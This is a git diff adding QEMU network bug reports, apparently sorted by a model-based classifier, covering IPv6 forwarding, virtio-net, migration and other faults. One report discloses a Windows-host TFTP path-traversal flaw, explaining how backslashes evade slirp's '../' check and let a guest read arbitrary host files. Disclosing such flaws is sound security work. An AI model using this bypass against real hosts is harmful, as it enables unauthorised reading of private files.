a/results/classifier/gemma3:12b/network/1724590 b/results/classifier/gemma3:12b/network/1724590 new file mode 100644 index 000000000..aa893c351 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1724590 @@ -0,0 +1,6 @@ + +Usermode networking hostfwd only listens on IPv4 + +When forwarding ports in usermode networking (-net user,hostfwd=), QEMU binds to IPv4 only. Therefore, connecting to the port over IPv6 results in 'connection refused'. + +I experienced this in QEMU 2.10.1, but it looks to still be present in the current master (861cd431c99e56ddb5953ca1da164a9c32b477ca), since slirp_hostfwd in net/slirp.c uses in_addr instead of in6_addr. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1732 b/results/classifier/gemma3:12b/network/1732 new file mode 100644 index 000000000..322bd0946 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1732 @@ -0,0 +1,4 @@ + +Is there a way to disconnect the network of guest? +Description of problem: +When guest is running,I wan to disconnect the network(not detach the net),which should keep disconnect after migrate or restart if we not reconnect it againt. Whether qemu has some ways to do it? diff --git a/results/classifier/gemma3:12b/network/1736655 b/results/classifier/gemma3:12b/network/1736655 new file mode 100644 index 000000000..945ba1316 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1736655 @@ -0,0 +1,21 @@ + +2k3/xp guests w/virtio-net randomly DHCP fail on boot + +Host: +Debian GNU/Linux 9 with Linux 4.13.0-0.bpo.1-amd64 +QEMU 2.10.1 + +Guest: +Windows 2003 Standard SP2 (x64) +Windows XP SP3 (i386) + +QEMU command line: +http://cfp.vim-cn.com/cbdF3 + +Description: +After upgrading from QEMU 2.8 to 2.10.1, my Windows 2003 x64 and Windows XP guests with "virtio-net-pci" NIC would randomly fail to aquire DHCP address on boot. When it fails, cycle disable/enable the connection in Control Panel could make it connect successfully. As an immediate workaround, I switched to the RTL8139 NIC which works fine. Further investigation showed that manually reverting commit '4a3f03ba8dbf53fce36d0c1dd5d0cc0f340fe5f3' on top of 2.10.1 "fixed" the problem. + +Here are the test results: +git branch 4a3f03b: 25 boots, 8 failures +git branch 39f099e: 60 boots, 0 failure +2.10.1 with revert: 194 boots, 0 failure \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1744009 b/results/classifier/gemma3:12b/network/1744009 new file mode 100644 index 000000000..349fd8121 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1744009 @@ -0,0 +1,15 @@ + +qemu for windows fails to use multicast socket as netdev + +My host OS is Windows 7 x64 SP1. I installed qemu for windows from https://qemu.weilnetz.de/w64/.The version is 2.10.1, qemu-w64-setup-20171006.exe. I run qemu with the following command: + +qemu-system-x86_64.exe -net nic -net socket,mcast=234.5.5.5:6000 disk1.qcow2 + +It stopped with error: +bind: Unknown error +qemu-system-x86_64.exe: -net socket,mcast=234.5.5.5:6000: Device 'socket' could not be initialized + +Using the -netdev option has the same problem: +qemu-system-x86_64.exe -netdev socket,id=hostnet0,mcast=234.5.5.5:6000 -device e1000,netdev=hostnet0 disk1.qcow2 + +I tried many versions from https://qemu.weilnetz.de/w64/, but none of them could work. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1745895 b/results/classifier/gemma3:12b/network/1745895 new file mode 100644 index 000000000..4435943d0 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1745895 @@ -0,0 +1,30 @@ + +Unable to migrate vhost-net to virtio-1.0-capable kernel + +I am running QEMU 2.11 (from upstream source, not Red Hat package) on stock RHEL 6 and RHEL 7 kernels. Only the RHEL 7 kernel supports VIRTIO_F_VERSION_1 in its vhost-net driver. + +When migrating a guest using vhost-net from the RHEL 6 host to RHEL 7, the PCI config is rejected by QEMU on the target machine. + +A simple test case: + +1. On the RHEL 7 host, prepare for an incoming migration: + + rhel7# qemu-system-x86_64 -S -accel kvm -nographic -monitor stdio -nodefaults -netdev tap,id=net0,vhost=on,script=no,downscript=no -device virtio-net-pci,netdev=net0,mac=54:52:00:ff:ff:ff -incoming tcp:0.0.0.0:12345 + +2. On the RHEL 6 host, start a guest and migrate it to the RHEL 7 host: + + rhel6# qemu-system-x86_64 -S -accel kvm -nographic -monitor stdio -nodefaults -netdev tap,id=net0,vhost=on,script=no,downscript=no -device virtio-net-pci,netdev=net0,mac=54:52:00:ff:ff:ff +QEMU 2.11.0 monitor - type 'help' for more information + (qemu) migrate tcp:rhel7:12345 + +The RHEL 7 QEMU errors out: + + qemu-system-x86_64: get_pci_config_device: Bad config data: i=0x20 read: 0 device: c cmask: ff wmask: 0 w1cmask:0 + qemu-system-x86_64: Failed to load PCIDevice:config + qemu-system-x86_64: Failed to load virtio-net:virtio + qemu-system-x86_64: error while loading state for instance 0x0 of device '0000:00:02.0/virtio-net' + qemu-system-x86_64: load of migration failed: Invalid argument + +If I start the source QEMU with vhost=off, or the target QEMU with disable-modern=true, the migration is successful. + +My hunch here is that the target QEMU prepares the PCI device to support VIRTIO_F_VERSION_1, as that's available in the kernel there, but then fails to (or does not know to) disable this during the migration. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1753309 b/results/classifier/gemma3:12b/network/1753309 new file mode 100644 index 000000000..fefb82a60 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1753309 @@ -0,0 +1,57 @@ + +Ethernet interrupt vectors for sabrelite machine are defined backwards + +The sabrelite machine model used by qemu-system-arm is based on the Freescale/NXP i.MX6Q processor. This SoC has an on-board ethernet controller which is supported in QEMU using the imx_fec.c module (actually called imx.enet for this model.) + +The include/hw/arm/fsm-imx6.h file defines the interrupt vectors for the imx.enet device like this: + +#define FSL_IMX6_ENET_MAC_1588_IRQ 118 +#define FSL_IMX6_ENET_MAC_IRQ 119 + +However, this is backwards. The reference manual for the i.MX6D/Q devices can be found here: + +https://www.nxp.com/docs/en/reference-manual/IMX6DQRM.pdf + +On page 225, in Table 3-1. ARM Cortex A9 domain interrupt summary, it shows the following: + +150 ENET +MAC 0 IRQ, Logical OR of: +MAC 0 Periodic Timer Overflow +MAC 0 Time Stamp Available +MAC 0 Time Stamp Available +MAC 0 Time Stamp Available +MAC 0 Payload Receive Error +MAC 0 Transmit FIFO Underrun +MAC 0 Collision Retry Limit +MAC 0 Late Collision +MAC 0 Ethernet Bus Error +MAC 0 MII Data Transfer Done +MAC 0 Receive Buffer Done +MAC 0 Receive Frame Done +MAC 0 Transmit Buffer Done +MAC 0 Transmit Frame Done +MAC 0 Graceful Stop +MAC 0 Babbling Transmit Error +MAC 0 Babbling Receive Error +MAC 0 Wakeup Request [synchronous] + +151 ENET +MAC 0 1588 Timer interrupt [synchronous] request + +Note: +150 - 32 == 118 +151 - 32 == 119 + +In other words, the vector definitions in the fsl-imx6.h file are reversed. The correct definition is: + +#define FSL_IMX6_ENET_MAC_IRQ 118 +#define FSL_IMX6_ENET_MAC_1588_IRQ 119 + +I tested the sabrelite simulation using VxWorks 7 (which supports the SabreLite board) and found that while I was able to send and receive packet data via the simulated ethernet interface, the VxWorks i.MX6 ethernet driver failed to receive any interrupts. When I corrected the interrupt vector definitions as shown above and recompiled QEMU, everything worked as expected. I was able to exchange ICMP packets with the simulated target and telnet to/from the VxWorks instance running in the virtual machine. I used the tap interface for this. + +As a workaround I was also able to make the ethernet work by modifying the VxWorks imx6q-sabrelite.dts file to change the ethernet interrupt property from 150 to 151. + +This problem was observed with the following environment: + +Host: FreeBSD/amd64 11.1-RELEASE +QEMU version: 2.11.0 and 2.11.1 built from source code \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1758 b/results/classifier/gemma3:12b/network/1758 new file mode 100644 index 000000000..f468a20b9 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1758 @@ -0,0 +1,13 @@ + +libssh missing on macOS/m1 +Description of problem: +I did a "git pull" in my source for qemu. Now when I do "make" I get: +../block/ssh.c:27:10: fatal error: 'libssh/libssh.h' file not found + +Am I supposed to install libssh separately? I were able to compile qemu about a month ago or so. +Steps to reproduce: +1. +2. +3. +Additional information: + diff --git a/results/classifier/gemma3:12b/network/1758091 b/results/classifier/gemma3:12b/network/1758091 new file mode 100644 index 000000000..a149c2667 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1758091 @@ -0,0 +1,16 @@ + +vmxnet3 unable to send IPv6 ESP packets + +My vmxnet3 network driver (in a closed source custom OS) is unable to send network packets that are structured as follows: Ethernet-Header(IPv6-Header(ESP(encrypted data))). I can verify that the packet is sent in the VM but is dropped in qemu. I first encountered this problem on qemu 2.10.1 but master is affected as well. After some debug printing in qemu I could identify the following call chain as being problematic: + +eth_is_ip6_extension_header_type +eth_parse_ipv6_hdr +net_tx_pkt_parse_headers +net_tx_pkt_parse +vmxnet3_process_tx_queue + +The problem seems to be the definition of the ESP header (https://en.wikipedia.org/wiki/IPsec#Encapsulating_Security_Payload) that does not follow the standard IPv6 extension header format starting with next type and length. Thus the parsed ext_hdr in eth_parse_ipv6_hdr does not contain valid data, in particular the length will contain bogus data and lead to a info->full_hdr_len that is larger than the packet itself and the loop would then try to read beyond the end of the packet. + +Using the e1000 driver I can send these packets. My guess is that the net_tx_pkt_parse function is not called in that case. + +My guess for a fix would be to remove "case IP6_ESP:" from eth_is_ip6_extension_header_type and not regard the ESP header as a IPv6 extension header. In a quick test this seems to fix the problem. But that should be verified by someone who is familiar with the code. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1769067 b/results/classifier/gemma3:12b/network/1769067 new file mode 100644 index 000000000..8336e398f --- /dev/null +++ b/results/classifier/gemma3:12b/network/1769067 @@ -0,0 +1,4 @@ + +virtio-net ignores the absence of the VIRTIO_NET_F_CTRL_VQ feature bit + +When negotiating virtio-net feature bits, the device ignores the absence of the VIRTIO_NET_F_CTRL_VQ bit in driver feature bits and provides three virtqueues, including the control virtqueue, even though the driver is expecting only the receive and transmit virtqueues. Looking into the source code, it appears it always assumes the presence of the control virtqueue, violating thus the VIRTIO version 1.0 specification. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/177 b/results/classifier/gemma3:12b/network/177 new file mode 100644 index 000000000..690d13194 --- /dev/null +++ b/results/classifier/gemma3:12b/network/177 @@ -0,0 +1,2 @@ + +qemu-bridge-helper undocumented and broken diff --git a/results/classifier/gemma3:12b/network/1770724 b/results/classifier/gemma3:12b/network/1770724 new file mode 100644 index 000000000..f3282976a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1770724 @@ -0,0 +1,75 @@ + +e1000 takes a long time (2 seconds) to set link ready + +When a VM is booted with e1000 NIC, it takes a long time (2 seconds) for the guest to bring up the link. This can be seen in the following dmesg messages: + +[ 4.899773] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready +[ 6.889165] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX +[ 6.891372] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready + +The first message happens when the guest calls to ifup eth0; ifup does not hold control until the link is established. The guest I am using (cirros 0.4.0) then starts udhcpc DHCP client that issues a DHCP request, then waits for 60 seconds for reply, then repeats the DHCP request. When the first request is sent, the link is not ready yet, so the frame is lost; when the second request is sent, the link is up and DHCP lease is received. + +If I use different NICs (e1000e, virtio, rtl*), there are no dmesg messages, and the very first DHCP request correctly reaches outside and results in a lease acquired. + +The qemu version I am using is 2.10.1 from Fedora 27. I tried to reproduce with runtime from Fedora 29 that includes 2.12 but I have different issues there that block me from reproducing the original issue (there, I get kernel traces, irq interrupt errors, and no network link at all). + +For the record, the qemu in question is started by kubevirt inside a docker container with Fedora 27 based image. + +=============================== + +The command line of qemu is as follows: + +27404 ? Sl 0:10 /usr/bin/qemu-system-x86_64 -machine accel=kvm -name guest=default_ovm-cirros,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-1-default_ovm-cirros/master-key.aes -machine pc-q35-2.10,accel=kvm,usb=off,dump-guest-core=off -m 62 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid 8769fdbe-d957-5567-bd71-114ba0eb4811 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-1-default_ovm-cirros/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -no-acpi -boot strict=on -device i82801b11-bridge,id=pci.1,bus=pcie.0,addr=0x1e -device pci-bridge,chassis_nr=2,id=pci.2,bus=pci.1,addr=0x0 -device pcie-root-port,port=0x10,chassis=3,id=pci.3,bus=pcie.0,multifunction=on,addr=0x2 -device pcie-root-port,port=0x11,chassis=4,id=pci.4,bus=pcie.0,addr=0x2.0x1 -device pcie-root-port,port=0x12,chassis=5,id=pci.5,bus=pcie.0,addr=0x2.0x2 -device pcie-root-port,port=0x13,chassis=6,id=pci.6,bus=pcie.0,addr=0x2.0x3 -device pcie-root-port,port=0x14,chassis=7,id=pci.7,bus=pcie.0,addr=0x2.0x4 -device nec-usb-xhci,id=usb,bus=pci.3,addr=0x0 -drive file=/var/run/libvirt/kubevirt-ephemeral-disk/registry-disk-data/default/ovm-cirros/disk_registryvolume/disk-image.raw,format=raw,if=none,id=drive-virtio-disk0 -device virtio-blk-pci,scsi=off,bus=pci.4,addr=0x0,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1 -drive file=/var/run/libvirt/kubevirt-ephemeral-disk/cloud-init-data/default/ovm-cirros/noCloud.iso,format=raw,if=none,id=drive-virtio-disk1 -device virtio-blk-pci,scsi=off,bus=pci.5,addr=0x0,drive=drive-virtio-disk1,id=virtio-disk1 -netdev tap,fd=23,id=hostnet0 -device e1000,netdev=hostnet0,id=net0,mac=0a:58:0a:f4:01:e1,bus=pci.2,addr=0x1 -chardev socket,id=charserial0,path=/var/run/kubevirt-private/default/ovm-cirros/virt-serial0,server,nowait -device isa-serial,chardev=charserial0,id=serial0 -vnc vnc=unix:/var/run/kubevirt-private/default/ovm-cirros/virt-vnc -device VGA,id=video0,vgamem_mb=16,bus=pcie.0,addr=0x1 -device virtio-balloon-pci,id=balloon0,bus=pci.6,addr=0x0 -msg timestamp=on + +============================ + +Hypervisor versions of interest: + +[vagrant@node02 ~]$ sudo docker exec -it $(sudo docker ps | grep virt-launcher-ovm-cirros | grep entrypoint | awk -e '{print $1}') rpm -qa | grep 'qemu\|libvirt' +qemu-block-curl-2.10.1-2.fc27.x86_64 +qemu-block-ssh-2.10.1-2.fc27.x86_64 +qemu-block-nfs-2.10.1-2.fc27.x86_64 +qemu-system-x86-core-2.10.1-2.fc27.x86_64 +libvirt-daemon-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-storage-disk-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-storage-mpath-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-storage-zfs-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-nwfilter-3.7.0-4.fc27.x86_64 +qemu-img-2.10.1-2.fc27.x86_64 +qemu-common-2.10.1-2.fc27.x86_64 +qemu-block-dmg-2.10.1-2.fc27.x86_64 +qemu-block-rbd-2.10.1-2.fc27.x86_64 +qemu-system-x86-2.10.1-2.fc27.x86_64 +libvirt-libs-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-storage-core-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-qemu-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-storage-gluster-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-storage-logical-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-storage-rbd-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-storage-sheepdog-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-storage-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-nodedev-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-secret-3.7.0-4.fc27.x86_64 +libvirt-client-3.7.0-4.fc27.x86_64 +ipxe-roms-qemu-20161108-2.gitb991c67.fc26.noarch +qemu-block-gluster-2.10.1-2.fc27.x86_64 +qemu-block-iscsi-2.10.1-2.fc27.x86_64 +qemu-kvm-2.10.1-2.fc27.x86_64 +libvirt-daemon-driver-network-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-storage-iscsi-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-storage-scsi-3.7.0-4.fc27.x86_64 +libvirt-daemon-driver-interface-3.7.0-4.fc27.x86_64 +libvirt-daemon-kvm-3.7.0-4.fc27.x86_64 + +[vagrant@node02 ~]$ uname -a +Linux node02 3.10.0-693.17.1.el7.x86_64 #1 SMP Thu Jan 25 20:13:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux + +[vagrant@node02 ~]$ cat /etc/redhat-release +CentOS Linux release 7.4.1708 (Core) + +============================= + +Guest: + +$ uname -a +Linux ovm-cirros 4.4.0-28-generic #47-Ubuntu SMP Fri Jun 24 10:09:13 UTC 2016 x86_64 GNU/Linux \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1775366 b/results/classifier/gemma3:12b/network/1775366 new file mode 100644 index 000000000..7cc929007 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1775366 @@ -0,0 +1,14 @@ + + [Feature request] qemu-ga - Allow unexpected parameter + +It whould be nice if the qemu-ga allowed received messages to contain fields which is not part of the spec. In my example I have a host which sends the following request: + +{"execute":"guest-exec","arguments":{"path":"prl_nettool","capture-output":true,"execute-in-shell":false,"arg":[...]}} + +Right now this request is rejected with the following error: + +{"error": {"class": "GenericError", "desc": "Parameter 'execute-in-shell' is unexpected"}} + +My situation is the hosting provider I use does have some customized solution which sends some extra arguments. I have manually patched my qemu-ga so it accepts the "execute-in-shell" parameter but I don't think this should be necessary. + +Instead of "Error" it should just be a "warning" returned to the user of qemu-ga but the call should still be executed. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1779447 b/results/classifier/gemma3:12b/network/1779447 new file mode 100644 index 000000000..16f594f0b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1779447 @@ -0,0 +1,13 @@ + +SLIRP SMB silently fails with MacOS smbd + +When using the -net user,id=net0,ipv6=off,smb=/path/to/share/option,hostfwd=tcp::19500-:22 I can successfully mount_smbfs the shared directory on the guest when QEMU is running on a Linux or FreeBSD host. However, on a MacOS host the mount_smbfs command just fails with +`mount_smbfs: unable to open connection: syserr = Connection reset by peer`. +After some debugging it turns out this is because the smbd shipped by macos is incompatible and doesn't use the same config file/command line arguments. + +I have since got it working by compiling the sources form samba.org and using the --smbd= configure option pointing to that binary. + +Would it be possible to print a warning message or even better abort the launch saying smbd is incompatible with QEMU if the -smb= flag is passed? It appears that smbd should die with an error code on invalid arguments so QEMU should be able to report that. + + +This was happening with QEMU built from git sources at c1c2a435905ae76b159c573b0c0d6f095b45ebc6. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1780 b/results/classifier/gemma3:12b/network/1780 new file mode 100644 index 000000000..abea48f7e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1780 @@ -0,0 +1,18 @@ + +PowerPC mishandles xscmpudp instruction +Description of problem: +xscmpudp instruction is mishandled +Steps to reproduce: +1. Compile the attached program with VSX (e.g. `RUSTFLAGS=-Ctarget-feature=+vsx cargo build --target=powerpc64-unknown-linux-gnu`) +2. Run the program and expect assertions to pass. +3. See assertions fail. +Additional information: +When VSX is disabled, the `fcmpu` instruction is emitted instead (and handled properly). See the offending program: +``` +pub fn main() { + use std::hint::black_box; + assert!(black_box(f64::NAN) + .clamp(black_box(0f64), black_box(0f64)) + .is_nan()); +} +``` diff --git a/results/classifier/gemma3:12b/network/1783 b/results/classifier/gemma3:12b/network/1783 new file mode 100644 index 000000000..eb149043e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1783 @@ -0,0 +1,4 @@ + +Emulate Breakout Network Connections +Additional information: +This functionality is required to model/QA real-world implementations for datacenter fabrics in virtual environments. Break-out cabling is how port density is achieved in practice on modern optical fabrics. diff --git a/results/classifier/gemma3:12b/network/1787505 b/results/classifier/gemma3:12b/network/1787505 new file mode 100644 index 000000000..48578dfd3 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1787505 @@ -0,0 +1,14 @@ + +Solaris host: no network connection, mouse pointer mismatch + +This is probably a bit far afield but on a Solaris 10 SPARC host (Sun M3000) running a Windows XP guest like this: + +./qemu-system-x86_64 -m 1024 -boot d -smp 3 -net nic -net user -hda /bkpool/qemuimages/XP.img -cdrom /bkpool/qemuimages/xp.iso & + +the vnc server starts up and Windows boots normally. However, there is no network connectivity. There are no network devices visible in XP's Networking tab of Control Panel and a ping of the local router reports "unreachable". + +Also, the keyboard works fine but the guest mouse pointer is offset from the host mouse position by an amount that varies by screen position. This makes it impossible to point to locations near the edge of the qemu window. This seems to be a previously reported problem, but the suggested fix, " -device usb-tablet", prevents qemu from even starting: + +qemu-system-x86_64: -device usb-tablet: No 'usb-bus' bus found for device 'usb-tablet' + +The physical mouse is connected to the USB port of a Sun Ray 2fs controlling the M3000 via Sun Ray server. I apologize if this is a configuration issue and not a bug but I don't know where else to report it and have been unable to find a solution in the documentation. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1791680 b/results/classifier/gemma3:12b/network/1791680 new file mode 100644 index 000000000..0161e2249 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1791680 @@ -0,0 +1,21 @@ + +network bridge does not work + +hi there + +the network bridge does not seem to work described as here: https://en.wikibooks.org/wiki/QEMU/Networking + +When i add that parameters in a 192.168.80.x subnet, my emulated raspbian ARM gets the IP 10.0.2.15.... While all other computers get 192.168.80.x + +The command i use is: + + +qemu-system-arm.exe -M versatilepb -cpu arm1176 -hda 2018-09-03_stretch_inkl_phalcon.img -kernel kernel-qemu-4.4.34-jessie -m 192 -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw" -no-reboot -net nic -net user -device e1000,mac=52:54:00:12:34:56 & + + +Does not build up a network bridge to 192.168.80.x... + +The host system i use is win10 x64 v1803 + +Best regards, +Jan \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1793791 b/results/classifier/gemma3:12b/network/1793791 new file mode 100644 index 000000000..6b9cb8f4f --- /dev/null +++ b/results/classifier/gemma3:12b/network/1793791 @@ -0,0 +1,18 @@ + +Crash with nbd_reply_chunk_iter_receive: Assertion `chunk->flags & NBD_REPLY_FLAG_DONE' failed + +Qemu version on both sides: 2.12.1 +Host A Linux: 4.9.76 +Host B Linux: 4.14.67 + +While calling from Host A: +virsh migrate virtualmachine qemu+ssh://hostB/system --live --undefinesource --persistent --verbose --copy-storage-all + +I get a qemu crash with: + +2018-09-21 16:12:23.073+0000: 14428: info : virObjectUnref:350 : OBJECT_UNREF: obj=0x7f922c03d990 +qemu-system-x86_64: block/nbd-client.c:606: nbd_reply_chunk_iter_receive: Assertion `chunk->flags & NBD_REPLY_FLAG_DONE' failed. +2018-09-21 16:12:41.230+0000: shutting down, reason=crashed +2018-09-21 16:12:52.900+0000: shutting down, reason=failed + +It doesn't do it every time, but most of the time. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1796754 b/results/classifier/gemma3:12b/network/1796754 new file mode 100644 index 000000000..d8f302240 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1796754 @@ -0,0 +1,18 @@ + +ioctl SIOCGIFCONF causes qemu-aarch64-static to crash with "received signal outside vCPU context" + +To reproduce it, compile the attached crash.c under aarch64 to a.out and execute on x86_64 +qemu-aarch64-static ./a.out + +It will print the following and crash: + +socket=3 +qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x60038cd6 +qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x6000157a + +The version of qemu-aarch64-static is + +qemu-aarch64 version 3.0.0 (qemu-3.0.0-1.fc29) +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers + +But it did also happen in previous versions so it is not a regression but a bug existed ever since. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1809453 b/results/classifier/gemma3:12b/network/1809453 new file mode 100644 index 000000000..1e5622980 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1809453 @@ -0,0 +1,8 @@ + +Windows qemu download Big file bug in net user mode + +hi + +Windows qemu with -net user downloading big files has a bug, -net tap is good! + +I suspect that the Slirp protocol has a bug on the Windows pc, which is normal on ubuntu. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1811499 b/results/classifier/gemma3:12b/network/1811499 new file mode 100644 index 000000000..a02412c82 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1811499 @@ -0,0 +1,25 @@ + +qemu/net/colo-compare.c:288: possible pointless code duplication ? + +qemu/net/colo-compare.c:288] -> [qemu/net/colo-compare.c:296]: (style) The if condition is the same as the previous if condition + +Source code is + + if (ppkt->tcp_seq == spkt->tcp_seq && ppkt->seq_end == spkt->seq_end) { + if (colo_compare_packet_payload(ppkt, spkt, + ppkt->header_size, spkt->header_size, + ppkt->payload_size)) { + *mark = COLO_COMPARE_FREE_SECONDARY | COLO_COMPARE_FREE_PRIMARY; + return true; + } + } + if (ppkt->tcp_seq == spkt->tcp_seq && ppkt->seq_end == spkt->seq_end) { + if (colo_compare_packet_payload(ppkt, spkt, + ppkt->header_size, spkt->header_size, + ppkt->payload_size)) { + *mark = COLO_COMPARE_FREE_SECONDARY | COLO_COMPARE_FREE_PRIMARY; + return true; + } + } + +Maybe the second block was supposed to be different ? \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1812451 b/results/classifier/gemma3:12b/network/1812451 new file mode 100644 index 000000000..275cf7031 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1812451 @@ -0,0 +1,15 @@ + +In windows host, tftp arbitrary file read vulnerability + +https://github.com/qemu/qemu/blob/master/slirp/tftp.c#L343 + + if (!strncmp(req_fname, "../", 3) || + req_fname[strlen(req_fname) - 1] == '/' || + strstr(req_fname, "/../")) { + tftp_send_error(spt, 2, "Access violation", tp); + return; + } + +There are file path check for not allowing escape tftp directory. +But, in windows, file path is separated by "\" backslash. +So, guest can read arbitrary file in Windows host. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1814352 b/results/classifier/gemma3:12b/network/1814352 new file mode 100644 index 000000000..73d4f8a6a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1814352 @@ -0,0 +1,24 @@ + +SIOCGIFNAME takes a struct ifreq not an integer + +The ioctl SIOCGIFNAME takes a pointer to a struct ifreq, not an integer. This leads to if_indextoname() not correctly returning interface names (well, not if they're longer than 4 characters including the trailing NULL ;-). + +This is observed on v3.1.0. + +The following one-line patch will be sent to the qemu-devel mailing list: + +""" +diff --git a/linux-user/ioctls.h b/linux-user/ioctls.h +index ae8951625f..37501f575c 100644 +--- a/linux-user/ioctls.h ++++ b/linux-user/ioctls.h +@@ -178,7 +178,7 @@ + #endif /* CONFIG_USBFS */ + + IOCTL(SIOCATMARK, IOC_R, MK_PTR(TYPE_INT)) +- IOCTL(SIOCGIFNAME, IOC_RW, MK_PTR(TYPE_INT)) ++ IOCTL(SIOCGIFNAME, IOC_RW, MK_PTR(MK_STRUCT(STRUCT_int_ifreq))) + IOCTL(SIOCGIFFLAGS, IOC_W | IOC_R, MK_PTR(MK_STRUCT(STRUCT_short_ifreq))) + IOCTL(SIOCSIFFLAGS, IOC_W, MK_PTR(MK_STRUCT(STRUCT_short_ifreq))) + IOCTL(SIOCGIFADDR, IOC_W | IOC_R, MK_PTR(MK_STRUCT(STRUCT_sockaddr_ifreq))) +""" \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1814381 b/results/classifier/gemma3:12b/network/1814381 new file mode 100644 index 000000000..65b8b158f --- /dev/null +++ b/results/classifier/gemma3:12b/network/1814381 @@ -0,0 +1,26 @@ + +qemu can't resolve ::1 when no network is available + +I'm not sure if this is a qemu thing or a getaddrinfo/glibc thing, or +even just something about my laptop. However we have a test failure +in nbdkit which only occurs when my laptop is not connected to wifi or +other networking. It boils down to: + + $ qemu-img info --image-opts "file.driver=nbd,file.host=::1,file.port=1234" + qemu-img: Could not open 'file.driver=nbd,file.host=::1,file.port=1234': addre +ss resolution failed for ::1:1234: Address family for hostname not supported + +In a successful case it should connect to a local NBD server on port +1234, but if you don't have that you will see: + + qemu-img: Could not open 'file.driver=nbd,file.host=::1,file.port=1234': Faile +d to connect socket: Connection refused + +I can ‘ping6 ::1’ fine. + +It also works if I replace ‘::1’ with ‘localhost6’. + +My /etc/hosts contains: + +127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 +::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1815993 b/results/classifier/gemma3:12b/network/1815993 new file mode 100644 index 000000000..813d57bc8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1815993 @@ -0,0 +1,30 @@ + +drive-backup with iscsi will cause vm disk no response + +virsh qemu-monitor-command ${DOMAIN} '{ "execute" : "drive-backup" , "arguments" : { "device" : "drive-virtio-disk0" , "sync" : "top" , "target" : "iscsi://192.168.1.100:3260/iqn.2019-01.com.iaas/0" } }' + +When the drive-backup is running, I manually crash the iscsi server（or interrupt network, eg. iptables -j DROP）. + +Then after less than 1 minute： +virsh qemu-monitor-command ${DOMAIN} --pretty '{ "execute": "query-block" }' will block and no any response, until timeout. This is still excusable. +But, the disk（drive-virtio-disk0）will occur the same situation：in vm os, the disk will block and no any response. + +In other words, when qemu and iscsi-server lose contact, It will cause the vm unable. + +--- +Host: centos 7.5 +qemu version: ovirt-4.2（qemu-2.12.0） +qemu command line: qemu-system-x86_64 -name guest=test,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-190-test./master-key.aes -machine pc-i440fx-3.1,accel=kvm,usb=off,dump-guest-core=off,mem-merge=off -m 1024 -mem-prealloc -mem-path /dev/hugepages1G/libvirt/qemu/190-test -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid 